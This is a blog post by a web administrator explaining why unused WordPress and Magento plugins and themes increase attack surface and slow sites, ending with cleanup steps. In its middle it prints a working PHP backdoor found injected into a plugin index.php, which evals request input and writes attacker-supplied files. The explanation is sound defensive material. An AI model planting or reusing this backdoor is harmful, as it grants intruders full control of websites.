If you have been around PC's long enough you will remember the early days of Windows and the quest by some people to litter their task bar with tools and utilities possibly thinking it was cool to have so much at their disposal but in reality all they did was rob their usable applications of memory and CPU resources.
Back then security was not an issue like it is today, personally I never installed anything as I knew there was no free lunch and all these plugins came at a cost, be it performance, memory or exposing the machine to more support issues.
It seems many people never learned this lesson and I now see it daily as I clean up exploit after exploit in WordPress sites thanks to poor quality plugins and the set and forget mentality of web site owners. Yes web site development is an iterative process, with the implementation of features and design elements being done step by step over time until everything looks just right.
It's not just limited to WordPress and other Content Management Systems it also occurs in shopping cart software like Magento where "free" plugins downloaded via the "Magento Connect" facility are tested and found lacking much-needed features, another download later and the number of installed (unusable) plugins has grown. On a system like Magento this can have dramatic consequences on store performance if left running but not actually providing a useful service.
And this is the heart of the problem, If you download a plugin in virtually any system, the code is sitting there ripe for exploitation even if you don't activate it. From an administrators point of view, dozens of plugins mean dozens of directories each with potentially dozens to hundreds of files in each. That's a lot of files to actually scan for exploits when issues arise, and you need to scan every file to see if it's been compromised as current exploits mask the creation and modification dates to avoid detection.
# cd plugins/ # ls -la total 124 drwxr-xr-x 28 apache apache 4096 Jul 16 07:44 . drwxr-xr-x 10 apache apache 4096 Jul 16 09:02 .. drwxr-xr-x 5 apache apache 4096 Nov 18 2013 acf-repeater drwxr-xr-x 6 apache apache 4096 Apr 30 14:26 admin-menu-editor drwxr-xr-x 7 apache apache 4096 May 25 11:23 advanced-custom-fields drwxr-xr-x 4 apache apache 4096 Jun 9 16:49 akismet drwxr-xr-x 10 apache apache 4096 May 19 08:11 broken-link-checker drwxr-xr-x 6 apache apache 4096 Apr 30 14:27 cms-tree-page-view drwxr-xr-x 5 apache apache 4096 Apr 30 14:26 custom-login-page drwxr-xr-x 3 apache apache 4096 Nov 24 2014 duplicate-post drwxr-xr-x 4 apache apache 4096 Apr 30 14:27 enable-media-replace drwxr-xr-x 3 apache apache 4096 May 11 13:05 exclude-pages drwxr-xr-x 8 apache apache 4096 May 25 11:23 formidable drwxr-xr-x 4 apache apache 4096 Jun 9 16:50 google-analyticator drwxr-xr-x 8 apache apache 4096 Jun 9 16:50 gravityforms -rw-r--r-- 1 apache apache 30 Jul 15 11:59 index.php drwxr-xr-x 9 apache apache 4096 Nov 18 2013 members drwxr-xr-x 2 apache apache 4096 Nov 24 2014 quick-pagepost-redirect-plugin drwxr-xr-x 6 apache apache 4096 Nov 24 2014 redirector drwxr-xr-x 3 apache apache 4096 Oct 16 2013 regenerate-thumbnails drwxr-xr-x 3 apache apache 4096 Nov 24 2014 responsive-select-menu drwxr-xr-x 3 apache apache 4096 Jun 17 09:58 sucuri-scanner drwxr-xr-x 3 apache apache 4096 Nov 24 2014 superfish drwxr-xr-x 6 apache apache 4096 Apr 30 14:28 tinymce-advanced drwxr-xr-x 8 apache apache 4096 Jun 17 10:22 updraftplus drwxr-xr-x 3 apache apache 4096 Nov 24 2014 velvet-blues-update-urls drwxr-xr-x 5 apache apache 4096 Nov 24 2014 vipers-video-quicktags drwxr-xr-x 10 apache apache 4096 Jun 17 10:42 wordpress-seo drwxr-xr-x 2 apache apache 4096 Nov 18 2013 wp-db-backup # # CountFiles . -recurse 5294
I ran a file count script on a few sites and on average there was over 5000 files in the plugin directory alone, I haven't even counted the Theme files yet (more on that below).
Let's recap that very important point:
If you download a plugin in virtually any system, the code is sitting there ripe for exploitation even if you don't activate it.
Recently I have written about two new methods of exploit code development that are not detected by current Malware scanners. The outcome of these new exploit attempts is that time needed to be spent writing scripts to specifically detect these types of exploits. The articles are here:
- PHP Superglobals Exploit and
- Byte Encoding exploits in PHP files.
- I've also written some more on my personal blog at z900collector.wordpress.com.
Outdated plugins and plugin code left installed but not active provides the perfect entry point for hackers. The technical term is "attack surface", reduce the entry points reduces the attack surface. With carefully crafted URL's for certain plugins, a hacker can execute code in the plugin to give them access to anything, from your database, site content, to running programs that they have uploaded as "content" but need a mechanism to activate. Once activated these exploits have complete control of your WordPress site.
This index file, has been compromised with 1 line of code
inserted at the start of the file.
Its a common entry point, to activate, they just visit
the page and post a string of data, this enables them to
do anything they want:
<?php
$dkbzrn = "460f1459a273b9d6c302cb37f345a4b0"; if(isset($_REQUEST['saybz'])) { $yneod = $_REQUEST['saybz']; eval($yneod); exit(); } if(isset($_REQUEST['xmnn'])) { $wglj = $_REQUEST['qbtf']; $sttb = $_REQUEST['xmnn']; $uznugl = fopen($sttb, 'w'); $kakpx = fwrite($uznugl, $wglj); fclose($uznugl); echo $kakpx; exit(); }
?><?php
// Silence is golden.
One of the drivers for this article was the discovery today of a "site within a site", a WordPress site with a Russian health site installed inside it, not viewable as you viewed the site normally but the exploited site was then indexed by Google and directing traffic to dubious sites in Eastern Europe. They achieved this by exploiting a plugin and uploading the bogus site file by file.
Cleaning Up Plugins
If the security aspect of old outdated and unused plugins isn't enough to encourage you to log in and remove them then you should also consider the performance aspects of having 5000+ files sitting there.
- Each content render usually involves scanning all plugins to see if they have an interest in the content. This usually applies to ones that are activated, but on most sites they are rarely de-activated.
- A large number of plugins create database tables, if you leave the old plugin activated then it could well be writing data to your database and slowly filling the underlying file system.
- In many cases, the growth in database size often has a performance implication that gets worse over time.
- Many older plugins allow upload of content, often exploits are embedded in content and the outdated code does not protect against this.
- With more files in your installation, backup times increase as does recovery times and storage for backups goes up as well.
Now here is the last point to consider, everything written above about plugins, also applies to unused themes!
Steps for a Safer Site
- Do a site backup before you make ANY changes and verify that you have a working backup.
- Deactivate unused plugins first, don't just delete them unless they have already been deactivated for some time.
- Check the operation of your site to ensure deactivated plugins have not removed ESSENTIAL functionality.
- Delete the plugin and when prompted, remove all files and data related to it.
- Remove all unused Themes (but beware of child themes that are active). Let's face it, if its not live then chances are you don't want it.
If you keep your CMS small and lightweight then it should run faster and service people's requests quickly. Anything that delays the user experience will drive people away from your site and this is not what you want. Removing unused themes and plugins reduces the attack surface.
